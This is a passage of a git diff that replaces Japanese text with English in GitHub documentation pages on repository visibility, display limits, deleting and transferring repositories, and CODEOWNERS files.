メンバーがアクセスできます。 詳しい情報については、「[内部リポジトリについて](#about-internal-repositories)」を参照してください。 + +When you create a repository owned by your user account, the repository is always private. When you create a repository owned by an organization, you can choose to make the repository private or internal. + {% endif %} -Organization のオーナーは、Organization 内で作成されたすべてのリポジトリにいつでもアクセスできます。 For more information, see "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)." +{%- ifversion fpt or ghec %} +- Public repositories are accessible to everyone on the internet. +- Private repositories are only accessible to you, people you explicitly share access with, and, for organization repositories, certain organization members. +{%- elsif ghes %} +- If {% data variables.product.product_location %} is not in private mode or behind a firewall, public repositories are accessible to everyone on the internet. Otherwise, public repositories are available to everyone using {% data variables.product.product_location %}, including outside collaborators. +- Private repositories are only accessible to you, people you explicitly share access with, and, for organization repositories, certain organization members. Internal repositories are accessible to all enterprise members. +{%- elsif ghae %} +- Private repositories are only accessible to you, people you explicitly share access with, and, for organization repositories, certain organization members. +{%- endif %} +{%- ifversion ghec or ghes or ghae %} +- Internal repositories are accessible to all enterprise members. For more information, see "[About internal repositories](#about-internal-repositories)." +{%- endif %} -リポジトリの管理者権限を持つユーザは、既存のリポジトリの可視性を変更できます。 詳細は「[リポジトリの可視性を設定する](/github/administering-a-repository/setting-repository-visibility)」を参照してください。 +Organization owners always have access to every repository created in an organization. For more information, see "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)." -{% ifversion fpt or ghae or ghes or ghec %} -## インターナルリポジトリについて +People with admin permissions for a repository can change an existing repository's visibility. For more information, see "[Setting repository visibility](/github/administering-a-repository/setting-repository-visibility)." -{% note %} +{% ifversion ghes or ghec or ghae %} +## About internal repositories -**注釈:** {% data reusables.gated-features.internal-repos %} - -{% endnote %} - -{% data reusables.repositories.about-internal-repos %}インナーソースに関する詳しい情報については、{% data variables.product.prodname_dotcom %}のホワイトペーパー「[インナーソース入門](https://resources.github.com/whitepapers/introduction-to-innersource/)」を参照してください。 +{% data reusables.repositories.about-internal-repos %} For more information on innersource, see {% data variables.product.prodname_dotcom %}'s whitepaper "[An introduction to innersource](https://resources.github.com/whitepapers/introduction-to-innersource/)." All enterprise members have read permissions to the internal repository, but internal repositories are not visible to people {% ifversion fpt or ghec %}outside of the enterprise{% else %}who are not members of any organization{% endif %}, including outside collaborators on organization repositories. For more information, see "[Roles in an enterprise](/github/setting-up-and-managing-your-enterprise/roles-in-an-enterprise#enterprise-members)" and "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)." @@ -83,43 +90,43 @@ All enterprise members have read permissions to the internal repository, but int {% data reusables.repositories.internal-repo-default %} -Any member of the enterprise can fork any internal repository owned by an organization in the enterprise. The forked repository will belong to the member's user account, and the visibility of the fork will be private. Enterprise が所有するすべての Organization からユーザが削除されると、そのユーザの内部リポジトリのフォークは自動的に削除されます。 +Any member of the enterprise can fork any internal repository owned by an organization in the enterprise. The forked repository will belong to the member's user account, and the visibility of the fork will be private. If a user is removed from all organizations owned by the enterprise, that user's forks of internal repositories are removed automatically. {% endif %} -## リポジトリでコンテンツと diff の表示を制限する +## Limits for viewing content and diffs in a repository -ある種のリソースはきわめて大きくなり、{% data variables.product.product_name %} で負荷の大きな処理が必要になる場合があります。 そのため、リクエストが妥当な時間で終わるように、制限が設けられています。 +Certain types of resources can be quite large, requiring excessive processing on {% data variables.product.product_name %}. Because of this, limits are set to ensure requests complete in a reasonable amount of time. -以下の制限の多くは {% data variables.product.product_name %}と API の両方に影響します。 +Most of the limits below affect both {% data variables.product.product_name %} and the API. -### テキストの制限 +### Text limits -Text files over **512 KB** are always displayed as plain text. コードの構文は強調表示されず、prose ファイルは HTML (Markdown、AsciiDoc、*その他*) に変換されません。 +Text files over **512 KB** are always displayed as plain text. Code is not syntax highlighted, and prose files are not converted to HTML (such as Markdown, AsciiDoc, *etc.*). -**5 MB** を超えるテキスト ファイルは raw URL を介してしか使用できません。これは `{% data variables.product.raw_github_com %}` を通じて、たとえば `https://{% data variables.product.raw_github_com %}/octocat/Spoon-Knife/master/index.html` のように提供されます。 ファイルの raw URL を取得するには、[**Raw**] ボタンを押します。 +Text files over **5 MB** are only available through their raw URLs, which are served through `{% data variables.product.raw_github_com %}`; for example, `https://{% data variables.product.raw_github_com %}/octocat/Spoon-Knife/master/index.html`. Click the **Raw** button to get the raw URL for a file. -### diff の制限 +### Diff limits -diff はきわめて大きくなることがあるため、コミット、プルリクエスト、比較ビューには制限が設けられています。 +Because diffs can become very large, we impose these limits on diffs for commits, pull requests, and compare views: - In a pull request, no total diff may exceed *20,000 lines that you can load* or *1 MB* of raw diff data. -- No single file's diff may exceed *20,000 lines that you can load* or *500 KB* of raw diff data. 1 つのファイルについては、*400 行*および *20 KB* が自動的にロードされます。 -- 1 つの diff あたりの最大ファイル数は *300* に制限されています。 -- 1 つの diff あたりで表示可能な最大ファイル数 (画像、PDF、GeoJSON ファイル) は、*25* です。 +- No single file's diff may exceed *20,000 lines that you can load* or *500 KB* of raw diff data. *Four hundred lines* and *20 KB* are automatically loaded for a single file. +- The maximum number of files in a single diff is limited to *300*. +- The maximum number of renderable files (such as images, PDFs, and GeoJSON files) in a single diff is limited to *25*. -制限された diff の一部が表示される場合もありますが、制限を超える部分は表示されません。 +Some portions of a limited diff may be displayed, but anything exceeding the limit is not shown. -### コミット リストの制限 +### Commit listings limits -比較ビューとプルリクエストのページでは、`base` リビジョンと `head` リビジョンの間にコミットのリストが表示されます。 このリストは **250** コミットに制限されています。 その制限を超える場合は、追加のコミットがあるという注意書きが表示されます (コミット自体は表示されません)。 +The compare view and pull requests pages display a list of commits between the `base` and `head` revisions. These lists are limited to **250** commits. If they exceed that limit, a note indicates that additional commits are present (but they're not shown). -## 参考リンク +## Further reading -- 「[新しいリポジトリを作成する](/articles/creating-a-new-repository)」 -- 「[フォークについて](/github/collaborating-with-pull-requests/working-with-forks/about-forks)」 -- [Issue とプルリクエストでのコラボレーション](/categories/collaborating-with-issues-and-pull-requests) -- 「[{% data variables.product.prodname_dotcom %}での作業を管理する](/categories/managing-your-work-on-github/)」 -- [リポジトリの管理](/categories/administering-a-repository) -- [グラフによるリポジトリデータの可視化](/categories/visualizing-repository-data-with-graphs/) -- 「[ウィキについて](/communities/documenting-your-project-with-wikis/about-wikis)」 -- [{% data variables.product.prodname_dotcom %} 用語集](/articles/github-glossary) +- "[Creating a new repository](/articles/creating-a-new-repository)" +- "[About forks](/github/collaborating-with-pull-requests/working-with-forks/about-forks)" +- "[Collaborating with issues and pull requests](/categories/collaborating-with-issues-and-pull-requests)" +- "[Managing your work on {% data variables.product.prodname_dotcom %}](/categories/managing-your-work-on-github/)" +- "[Administering a repository](/categories/administering-a-repository)" +- "[Visualizing repository data with graphs](/categories/visualizing-repository-data-with-graphs/)" +- "[About wikis](/communities/documenting-your-project-with-wikis/about-wikis)" +- "[{% data variables.product.prodname_dotcom %} glossary](/articles/github-glossary)" diff --git a/translations/ja-JP/content/repositories/creating-and-managing-repositories/deleting-a-repository.md b/translations/ja-JP/content/repositories/creating-and-managing-repositories/deleting-a-repository.md index f0d6d648a6..5fb2fd7aea 100644 --- a/translations/ja-JP/content/repositories/creating-and-managing-repositories/deleting-a-repository.md +++ b/translations/ja-JP/content/repositories/creating-and-managing-repositories/deleting-a-repository.md @@ -1,6 +1,6 @@ --- -title: リポジトリの削除 -intro: Organization のオーナーである場合、あるいはリポジトリまたはフォークに対する管理者権限がある場合、任意のリポジトリまたはフォークを削除できます。 フォークしたリポジトリを削除しても、上流のリポジトリは削除されません。 +title: Deleting a repository +intro: You can delete any repository or fork if you're either an organization owner or have admin permissions for the repository or fork. Deleting a forked repository does not delete the upstream repository. redirect_from: - /delete-a-repo/ - /deleting-a-repo/ @@ -15,25 +15,26 @@ versions: topics: - Repositories --- +{% data reusables.organizations.owners-and-admins-can %} delete an organization repository. If **Allow members to delete or transfer repositories for this organization** has been disabled, only organization owners can delete organization repositories. {% data reusables.organizations.new-repo-permissions-more-info %} -{% data reusables.organizations.owners-and-admins-can %}Organization のリポジトリを削除できます。 [**Allow members to delete or transfer repositories for this organization**] が無効化されていると、Organization のオーナーだけが Organization のリポジトリを削除できます。 {% data reusables.organizations.new-repo-permissions-more-info %} - -{% ifversion not ghae %}パブリックリポジトリを削除しても、リポジトリのフォークは削除されません。{% endif %} +{% ifversion not ghae %}Deleting a public repository will not delete any forks of the repository.{% endif %} {% warning %} -**警告**: +**Warnings**: -- リポジトリを削除すると、リリースの添付ファイルと Team の権限が**完全に**削除されます。 このアクションは取り消すことが**できません**。 -- Deleting a private or internal repository will delete all forks of the repository. +- Deleting a repository will **permanently** delete release attachments and team permissions. This action **cannot** be undone. +- Deleting a private{% ifversion ghes or ghec or ghae %} or internal{% endif %} repository will delete all forks of the repository. {% endwarning %} -Some deleted repositories can be restored within 90 days of deletion. {% ifversion ghes or ghae %}Your site administrator may be able to restore a deleted repository for you. 詳しい情報については、「[削除されたリポジトリを復元する](/admin/user-management/managing-repositories-in-your-enterprise/restoring-a-deleted-repository)」を参照してください。 {% else %}For more information, see "[Restoring a deleted repository](/articles/restoring-a-deleted-repository)."{% endif %} +Some deleted repositories can be restored within 90 days of deletion. {% ifversion ghes or ghae %}Your site administrator may be able to restore a deleted repository for you. For more information, see "[Restoring a deleted repository](/admin/user-management/managing-repositories-in-your-enterprise/restoring-a-deleted-repository)." {% else %}For more information, see "[Restoring a deleted repository](/articles/restoring-a-deleted-repository)."{% endif %} {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} -2. [Danger Zone] の [**Delete this repository**] をクリックします。 ![リポジトリの削除ボタン](/assets/images/help/repository/repo-delete.png) -3. **警告を読みます**。 -4. 削除しようとしているリポジトリに間違いがないことを確認するために、削除対象のリポジトリ名を入力します。 ![削除ラベル](/assets/images/help/repository/repo-delete-confirmation.png) -5. [**I understand the consequences, delete this repository**] をクリックします。 +2. Under Danger Zone, click **Delete this repository**. + ![Repository deletion button](/assets/images/help/repository/repo-delete.png) +3. **Read the warnings**. +4. To verify that you're deleting the correct repository, type the name of the repository you want to delete. + ![Deletion labeling](/assets/images/help/repository/repo-delete-confirmation.png) +5. Click **I understand the consequences, delete this repository**. diff --git a/translations/ja-JP/content/repositories/creating-and-managing-repositories/transferring-a-repository.md b/translations/ja-JP/content/repositories/creating-and-managing-repositories/transferring-a-repository.md index d4b5ea8b9e..651ec1b4dd 100644 --- a/translations/ja-JP/content/repositories/creating-and-managing-repositories/transferring-a-repository.md +++ b/translations/ja-JP/content/repositories/creating-and-managing-repositories/transferring-a-repository.md @@ -1,6 +1,6 @@ --- -title: リポジトリを移譲する -intro: 他のユーザや Organization アカウントにリポジトリを移譲できます。 +title: Transferring a repository +intro: You can transfer repositories to other users or organization accounts. redirect_from: - /articles/about-repository-transfers/ - /move-a-repo/ @@ -22,60 +22,60 @@ versions: topics: - Repositories --- +## About repository transfers -## リポジトリの移譲について +When you transfer a repository to a new owner, they can immediately administer the repository's contents, issues, pull requests, releases, project boards, and settings. -リポジトリを新たなオーナーに移譲すると、そのオーナーはすぐにリポジトリの内容、Issue、プルリクエスト、リリース、プロジェクトボード、そして設定を管理できるようになります。 +Prerequisites for repository transfers: +- When you transfer a repository that you own to another user account, the new owner will receive a confirmation email.{% ifversion fpt or ghec %} The confirmation email includes instructions for accepting the transfer. If the new owner doesn't accept the transfer within one day, the invitation will expire.{% endif %} +- To transfer a repository that you own to an organization, you must have permission to create a repository in the target organization. +- The target account must not have a repository with the same name, or a fork in the same network. +- The original owner of the repository is added as a collaborator on the transferred repository. Other collaborators to the transferred repository remain intact.{% ifversion ghec or ghes or ghae %} +- Internal repositories can't be transferred.{% endif %} +- Private forks can't be transferred. -Prerequisites for repository transfers: -- When you transfer a repository that you own to another user account, the new owner will receive a confirmation email.{% ifversion fpt or ghec %} The confirmation email includes instructions for accepting the transfer. 新しいオーナーが移譲を 1 日以内に受け入れなければ、招待は期限切れになります。{% endif %} -- 自分が所有しているリポジトリを Organization に移譲するには、対象 Organization のリポジトリを作成する権限が必要です。 -- ターゲットのアカウントは、同じ名前のリポジトリを持っていたり、同じネットワーク内にフォークを持っていたりしてはなりません。 -- リポジトリのオリジナルのオーナーは、移譲されたリポジトリにコラボレーターとして追加されます。 他のコラボレーターは、移譲されたリポジトリにそのまま残されます。 -- プライベートフォークは移譲できません。 +{% ifversion fpt or ghec %}If you transfer a private repository to a {% data variables.product.prodname_free_user %} user or organization account, the repository will lose access to features like protected branches and {% data variables.product.prodname_pages %}. {% data reusables.gated-features.more-info %}{% endif %} -{% ifversion fpt or ghec %}プライベートリポジトリを {% data variables.product.prodname_free_user %} ユーザまたは Organization アカウントに移譲すると、リポジトリは保護されたブランチや {% data variables.product.prodname_pages %} などの機能にアクセスできなくなります。 {% data reusables.gated-features.more-info %}{% endif %} +### What's transferred with a repository? -### リポジトリと共に移譲されるものは？ +When you transfer a repository, its issues, pull requests, wiki, stars, and watchers are also transferred. If the transferred repository contains webhooks, services, secrets, or deploy keys, they will remain associated after the transfer is complete. Git information about commits, including contributions, is preserved. In addition: -リポジトリを移譲すると、その Issue、プルリクエスト、ウィキ、Star、そして Watch しているユーザも移譲されます。 移譲されたリポジトリに webhook、サービス、シークレット、あるいはデプロイキーが含まれている場合、移譲が完了した後もそれらは関連付けられたままになります。 コミットに関する Git の情報は、コントリビューションを含めて保持されます。 加えて、 - -- 移譲されたリポジトリがフォークである場合、それは上流のリポジトリに関連付けられたままになります。 -- 移譲されたリポジトリにフォークがある場合、それらのフォークは移譲が完了した後リポジトリに関連付けられたままになります。 -- 移譲されたリポジトリが {% data variables.large_files.product_name_long %} を使う場合、すべての {% data variables.large_files.product_name_short %} オブジェクトは自動的に移動します。 This transfer occurs in the background, so if you have a large number of {% data variables.large_files.product_name_short %} objects or if the {% data variables.large_files.product_name_short %} objects themselves are large, it may take some time for the transfer to occur.{% ifversion fpt or ghec %} Before you transfer a repository that uses {% data variables.large_files.product_name_short %}, make sure the receiving account has enough data packs to store the {% data variables.large_files.product_name_short %} objects you'll be moving over. ユーザアカウントにストレージを追加する方法の詳細については、「[{% data variables.large_files.product_name_long %} をアップグレードする](/articles/upgrading-git-large-file-storage)」を参照してください。{% endif %} -- リポジトリを 2 つのユーザアカウント間で移譲する場合、Issue の割り当てはそのまま残ります。 ユーザアカウントから Organization にリポジトリを移譲する場合、Organization のメンバーにアサインされた Issue はそのまま残ります。そして、すべての他の Issue のアサイニーは消えます。 Organization の中のオーナーだけが、新しい Issue のアサインを作成できます。 Organization からユーザアカウントにリポジトリを移譲する場合、リポジトリのオーナーにアサインされた Issue だけが保管され、すべての他のアサイニーは削除されます。 -- 移譲されたリポジトリが {% data variables.product.prodname_pages %} サイトを含む場合、Web 上の Git リポジトリへのリンクや Git のアクティビティを通じたリンクはリダイレクトされます。 しかし、リポジトリに関連付けられている {% data variables.product.prodname_pages %} はリダイレクトされません。 -- 以前のリポジトリの場所へのすべてのリンクは、新しい場所へ自動的にリダイレクトされます。 移譲されたリポジトリ上で `git clone`、`git fetch`、または `git push` を使う場合には、これらのコマンドは新しいリポジトリの場所あるいは URL にリダイレクトされます。 しかし、混乱を避けるため、既存のローカルクローンは新しいリポジトリの URL を指すよう更新することを強くおすすめします。 それは `git remote` をコマンドライン上で使って行えます。 +- If the transferred repository is a fork, then it remains associated with the upstream repository. +- If the transferred repository has any forks, then those forks will remain associated with the repository after the transfer is complete. +- If the transferred repository uses {% data variables.large_files.product_name_long %}, all {% data variables.large_files.product_name_short %} objects are automatically moved. This transfer occurs in the background, so if you have a large number of {% data variables.large_files.product_name_short %} objects or if the {% data variables.large_files.product_name_short %} objects themselves are large, it may take some time for the transfer to occur.{% ifversion fpt or ghec %} Before you transfer a repository that uses {% data variables.large_files.product_name_short %}, make sure the receiving account has enough data packs to store the {% data variables.large_files.product_name_short %} objects you'll be moving over. For more information on adding storage for user accounts, see "[Upgrading {% data variables.large_files.product_name_long %}](/articles/upgrading-git-large-file-storage)."{% endif %} +- When a repository is transferred between two user accounts, issue assignments are left intact. When you transfer a repository from a user account to an organization, issues assigned to members in the organization remain intact, and all other issue assignees are cleared. Only owners in the organization are allowed to create new issue assignments. When you transfer a repository from an organization to a user account, only issues assigned to the repository's owner are kept, and all other issue assignees are removed. +- If the transferred repository contains a {% data variables.product.prodname_pages %} site, then links to the Git repository on the Web and through Git activity are redirected. However, we don't redirect {% data variables.product.prodname_pages %} associated with the repository. +- All links to the previous repository location are automatically redirected to the new location. When you use `git clone`, `git fetch`, or `git push` on a transferred repository, these commands will redirect to the new repository location or URL. However, to avoid confusion, we strongly recommend updating any existing local clones to point to the new repository URL. You can do this by using `git remote` on the command line: ```shell - $ git remote set-url origin 新しい URL + $ git remote set-url origin new_url ``` - When you transfer a repository from an organization to a user account, the repository's read-only collaborators will not be transferred. This is because collaborators can't have read-only access to repositories owned by a user account. For more information about repository permission levels, see "[Permission levels for a user account repository](/github/setting-up-and-managing-your-github-user-account/permission-levels-for-a-user-account-repository)" and "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)." For more information, see "[Managing remote repositories](/github/getting-started-with-github/managing-remote-repositories)." -### リポジトリの移譲および Organization +### Repository transfers and organizations -Organization にリポジトリを移譲するには、受け取る Organization でのリポジトリ作成許可を持っている必要があります。 Organization のオーナーが Organization のメンバーによるリポジトリ作成を無効化している場合、Organization のオーナーだけが、その Organization に対して、または、Organization からリポジトリを移譲できます。 +To transfer repositories to an organization, you must have repository creation permissions in the receiving organization. If organization owners have disabled repository creation by organization members, only organization owners can transfer repositories out of or into the organization. -Organization にリポジトリが移譲されたら、Organization のデフォルトのリポジトリ許可設定およびデフォルトのメンバーシップの権利が、移譲されたリポジトリに適用されます。 +Once a repository is transferred to an organization, the organization's default repository permission settings and default membership privileges will apply to the transferred repository. -## ユーザアカウントが所有しているリポジトリを移譲する +## Transferring a repository owned by your user account -リポジトリの移譲を受け入れるどのユーザアカウントにも、リポジトリを移譲できます。 ２つのユーザアカウントの間でリポジトリを移譲した場合、当初のリポジトリコードオーナーとコラボレーターは、新しいリポジトリにコラボレーターとして自動的に追加されます。 +You can transfer your repository to any user account that accepts your repository transfer. When a repository is transferred between two user accounts, the original repository owner and collaborators are automatically added as collaborators to the new repository. -{% ifversion fpt or ghec %}If you published a {% data variables.product.prodname_pages %} site in a private repository and added a custom domain, before transferring the repository, you may want to remove or update your DNS records to avoid the risk of a domain takeover. 詳しい情報については、「[{% data variables.product.prodname_pages %} サイト用のカスタムドメインを管理する](/articles/managing-a-custom-domain-for-your-github-pages-site)」を参照してください。{% endif %} +{% ifversion fpt or ghec %}If you published a {% data variables.product.prodname_pages %} site in a private repository and added a custom domain, before transferring the repository, you may want to remove or update your DNS records to avoid the risk of a domain takeover. For more information, see "[Managing a custom domain for your {% data variables.product.prodname_pages %} site](/articles/managing-a-custom-domain-for-your-github-pages-site)."{% endif %} {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} {% data reusables.repositories.transfer-repository-steps %} -## Organization が所有しているリポジトリを移譲する +## Transferring a repository owned by your organization -Organization のコードオーナー権限、または、そのリポジトリの 1 つの管理者権限を有している場合、Organization が所有しているリポジトリをユーザアカウントや他の Organization に移譲できます。 +If you have owner permissions in an organization or admin permissions to one of its repositories, you can transfer a repository owned by your organization to your user account or to another organization. -1. リポジトリのある Organization で管理者またはオーナー権限を有しているユーザアカウントにサインインします。 +1. Sign into your user account that has admin or owner permissions in the organization that owns the repository. {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} {% data reusables.repositories.transfer-repository-steps %} diff --git a/translations/ja-JP/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-code-owners.md b/translations/ja-JP/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-code-owners.md index 18a3024796..0371d81e62 100644 --- a/translations/ja-JP/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-code-owners.md +++ b/translations/ja-JP/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-code-owners.md @@ -1,6 +1,6 @@ --- -title: コードオーナーについて -intro: CODEOWNERS ファイルを使い、リポジトリ中のコードに対して責任を負う個人あるいは Team を指定できます。 +title: About code owners +intro: You can use a CODEOWNERS file to define individuals or teams that are responsible for code in a repository. redirect_from: - /articles/about-codeowners/ - /articles/about-code-owners @@ -15,62 +15,61 @@ versions: topics: - Repositories --- +People with admin or owner permissions can set up a CODEOWNERS file in a repository. -管理者あるいはオーナー権限を持つ人は、リポジトリ中に CODEOWNERS ファイルをセットアップできます。 +The people you choose as code owners must have write permissions for the repository. When the code owner is a team, that team must be visible and it must have write permissions, even if all the individual members of the team already have write permissions directly, through organization membership, or through another team membership. -コードオーナーに指定する人は、リポジトリへの書き込み権限を持っていなければなりません。 When the code owner is a team, that team must be visible and it must have write permissions, even if all the individual members of the team already have write permissions directly, through organization membership, or through another team membership. +## About code owners -## コードオーナーについて +Code owners are automatically requested for review when someone opens a pull request that modifies code that they own. Code owners are not automatically requested to review draft pull requests. For more information about draft pull requests, see "[About pull requests](/github/collaborating-with-issues-and-pull-requests/about-pull-requests#draft-pull-requests)." When you mark a draft pull request as ready for review, code owners are automatically notified. If you convert a pull request to a draft, people who are already subscribed to notifications are not automatically unsubscribed. For more information, see "[Changing the stage of a pull request](/github/collaborating-with-issues-and-pull-requests/changing-the-stage-of-a-pull-request)." -コードオーナーは、他者が所有するコードを変更するプルリクエストをオープンすると、自動的にレビューをリクエストされます。 コードオーナーはドラフトのプルリクエストのレビューを自動的にリクエストされません。 ドラフトのプルリクエストに関する詳しい情報については「[プルリクエストについて](/github/collaborating-with-issues-and-pull-requests/about-pull-requests#draft-pull-requests)」を参照してください。 コードオーナーはドラフトのプルリクエストのレビューを自動的にリクエストされません。 プルリクエストをドラフトに変換する場合、通知を既にサブスクライブしているユーザは自動的にサブスクライブ解除されません。 詳しい情報については、「[プルリクエストのステージを変更する](/github/collaborating-with-issues-and-pull-requests/changing-the-stage-of-a-pull-request)」を参照してください。 +When someone with admin or owner permissions has enabled required reviews, they also can optionally require approval from a code owner before the author can merge a pull request in the repository. For more information, see "[About protected branches](/github/administering-a-repository/about-protected-branches#require-pull-request-reviews-before-merging)." -管理者あるいはオーナー権限を持つ誰かがレビュー必須を有効化した場合、作者がリポジトリ中でプルリクエストをマージできるための条件としてコードオーナーからの承認を必須とすることもできます。 詳しい情報については[保護されたブランチについて](/github/administering-a-repository/about-protected-branches#require-pull-request-reviews-before-merging)を参照してください。 +If a file has a code owner, you can see who the code owner is before you open a pull request. In the repository, you can browse to the file and hover over {% octicon "shield-lock" aria-label="The edit icon" %}. -ファイルにコードオーナーがいる場合、プルリクエストをオープンする前にコードオーナーを確認できます。 リポジトリで、ファイルを参照して {% octicon "shield-lock" aria-label="The edit icon" %} にカーソルを合わせることができます。 +![Code owner for a file in a repository](/assets/images/help/repository/code-owner-for-a-file.png) -![リポジトリ内のファイルのコードオーナー](/assets/images/help/repository/code-owner-for-a-file.png) +## CODEOWNERS file location -## CODEOWNERSファイルの場所 +To use a CODEOWNERS file, create a new file called `CODEOWNERS` in the root, `docs/`, or `.github/` directory of the repository, in the branch where you'd like to add the code owners. -CODEOWNERS ファイルを使うためには、コードオーナーを追加したいブランチで、リポジトリのルート、`docs/`、`.github/` のいずれかのディレクトリに `CODEOWNERS` という新しいファイルを作成してください。 +Each CODEOWNERS file assigns the code owners for a single branch in the repository. Thus, you can assign different code owners for different branches, such as `@octo-org/codeowners-team` for a code base on the default branch and `@octocat` for a {% data variables.product.prodname_pages %} site on the `gh-pages` branch. -各CODEOWNERSファイルは、リポジトリ内の単一のブランチにコードオーナーを割り当てます。 したがって、デフォルトブランチのコードベースに `@octo-org/codeowners-team`、`gh-pages` ブランチの {% data variables.product.prodname_pages %} サイトに `@octocat` など、ブランチごとに異なるコードオーナーを割り当てることができます。 +For code owners to receive review requests, the CODEOWNERS file must be on the base branch of the pull request. For example, if you assign `@octocat` as the code owner for *.js* files on the `gh-pages` branch of your repository, `@octocat` will receive review requests when a pull request with changes to *.js* files is opened between the head branch and `gh-pages`. -コードオーナーがレビューのリクエストを受け取るためには、CODEOWNERS ファイルがプルリクエストの base ブランチになければなりません。 たとえばリポジトリ中の`gh-pages`ブランチの、*.js*ファイルのコードオーナーとして`@octocat`を割り当てたなら、*.js*に変更を加えるプルリクエストがheadブランチと`gh-pages`の間でオープンされると、`@octocat`はレビューのリクエストを受けることになります。 - -{% ifversion fpt or ghae or ghes > 3.2 or ghec %} +{% ifversion fpt or ghec or ghes > 3.2 or ghae-issue-9273 %} ## CODEOWNERS file size CODEOWNERS files must be under 3 MB in size. A CODEOWNERS file over this limit will not be loaded, which means that code owner information is not shown and the appropriate code owners will not be requested to review changes in a pull request. -To reduce the size of your CODEOWNERS file, consider using wildcard patterns to consolidate multiple entries into a single entry. +To reduce the size of your CODEOWNERS file, consider using wildcard patterns to consolidate multiple entries into a single entry. {% endif %} -## CODEOWNERSの構文 +## CODEOWNERS syntax -CODEOWNERS ファイルは、[一部の例外](#syntax-exceptions)を除いて、[gitignore](https://git-scm.com/docs/gitignore#_pattern_format) ファイルで使用されるルールのほとんどに従うパターンを使用します。 パターンの後には1つ以上の{% data variables.product.prodname_dotcom %}のユーザー名あるいはTeam名が続きます。これらの名前には標準の`@username`あるいは`@org/team-name`フォーマットが使われます。 Users must have `read` access to the repository and teams must have explicit `write` access, even if the team's members already have access. You can also refer to a user by an email address that has been added to their account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}, for example `user@example.com`. +A CODEOWNERS file uses a pattern that follows most of the same rules used in [gitignore](https://git-scm.com/docs/gitignore#_pattern_format) files, with [some exceptions](#syntax-exceptions). The pattern is followed by one or more {% data variables.product.prodname_dotcom %} usernames or team names using the standard `@username` or `@org/team-name` format. Users must have `read` access to the repository and teams must have explicit `write` access, even if the team's members already have access. You can also refer to a user by an email address that has been added to their account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}, for example `user@example.com`. -CODEOWNERS ファイルのいずれかの行に無効な構文が含まれている場合、そのファイルは検出されず、レビューのリクエストには使用されません。 -### CODEOWNERS ファイルの例 +If any line in your CODEOWNERS file contains invalid syntax, the file will not be detected and will not be used to request reviews. +### Example of a CODEOWNERS file ``` -# これはコメントです。 -# 各行はファイルパターンの後に一人以上のオーナーが続きます。 +# This is a comment. +# Each line is a file pattern followed by one or more owners. -# これらのオーナーは、リポジトリ中のすべてに対する -# デフォルトのオーナーになります。 後のマッチが優先されないかぎり、 -# 誰かがプルリクエストをオープンすると、 -# @global-owner1と@global-owner2にはレビューがリクエストされます。 +# These owners will be the default owners for everything in +# the repo. Unless a later match takes precedence, +# @global-owner1 and @global-owner2 will be requested for +# review when someone opens a pull request. * @global-owner1 @global-owner2 -# 順序は重要です。最後にマッチしたパターンが最も -# 高い優先度を持ちます。 誰かがJSファイルだけを変更する -# プルリクエストをオープンすると、@js-ownerだけにレビューが -# リクエストされ、グローバルのオーナーにはリクエストされません。 +# Order is important; the last matching pattern takes the most +# precedence. When someone opens a pull request that only +# modifies JS files, only @js-owner and not the global +# owner(s) will be requested for a review. *.js @js-owner -# メールアドレスの方が良ければ、そちらを使うこともできます。 それらは -# コミット作者のメールの場合と同じようにユーザの -# ルックアップに使われます。 +# You can also use email addresses if you prefer. They'll be +# used to look up users just like we do for commit author +# emails. *.go docs@example.com # Teams can be specified as code owners as well. Teams should @@ -84,18 +83,18 @@ CODEOWNERS ファイルのいずれかの行に無効な構文が含まれてい # subdirectories. /build/logs/ @doctocat -# `docs/*`パターンは`docs/getting-started.md`のようなファイルには -# マッチしますが、それ以上にネストしている -# `docs/build-app/troubleshooting.md`のようなファイルにはマッチしません。 +# The `docs/*` pattern will match files like +# `docs/getting-started.md` but not further nested files like +# `docs/build-app/troubleshooting.md`. docs/* docs@example.com -# この例では、@octocatはリポジトリ中のあらゆる場所にある -# appsディレクトリ内のすべてのファイルのオーナーになります。 +# In this example, @octocat owns any file in an apps directory +# anywhere in your repository. apps/ @octocat -# この例では、@doctocatはリポジトリのルートにある -# `/docs` ディレクトリとそのサブディレクトリにある -# ファイルを所有しています。 +# In this example, @doctocat owns any file in the `/docs` +# directory in the root of your repository and any of its +# subdirectories. /docs/ @doctocat # In this example, @octocat owns any file in the `/apps` @@ -104,16 +103,16 @@ apps/ @octocat /apps/ @octocat /apps/github ``` -### 構文の例外 -gitignore ファイルには、CODEOWNERS ファイルでは動作しないいくつかの構文ルールがあります。 +### Syntax exceptions +There are some syntax rules for gitignore files that do not work in CODEOWNERS files: - Escaping a pattern starting with `#` using `\` so it is treated as a pattern and not a comment -- `!` を使用してパターンを否定する -- `[ ]` を使用して文字範囲を定義する +- Using `!` to negate a pattern +- Using `[ ]` to define a character range ## CODEOWNERS and branch protection -Repository owners can add branch protection rules to ensure that changed code is reviewed by the owners of the changed files. 詳しい情報については、「[保護されたブランチについて](/github/administering-a-repository/defining-the-mergeability-of-pull-requests/about-protected-branches)」を参照してください。 +Repository owners can add branch protection rules to ensure that changed code is reviewed by the owners of the changed files. For more information, see "[About protected branches](/github/administering-a-repository/defining-the-mergeability-of-pull-requests/about-protected-branches)." -### CODEOWNERS ファイルの例 +### Example of a CODEOWNERS file ``` # In this example, any change inside the `/apps` directory # will require approval from @doctocat. @@ -125,18 +124,14 @@ Repository owners can add branch protection rules to ensure that changed code is # In this example, any change inside the `/apps` directory # will require approval from a member of the @example-org/content team. -# If a member of @example-org/content opens a pull request -# with a change inside the `/apps` directory, their approval is implicit. -# The 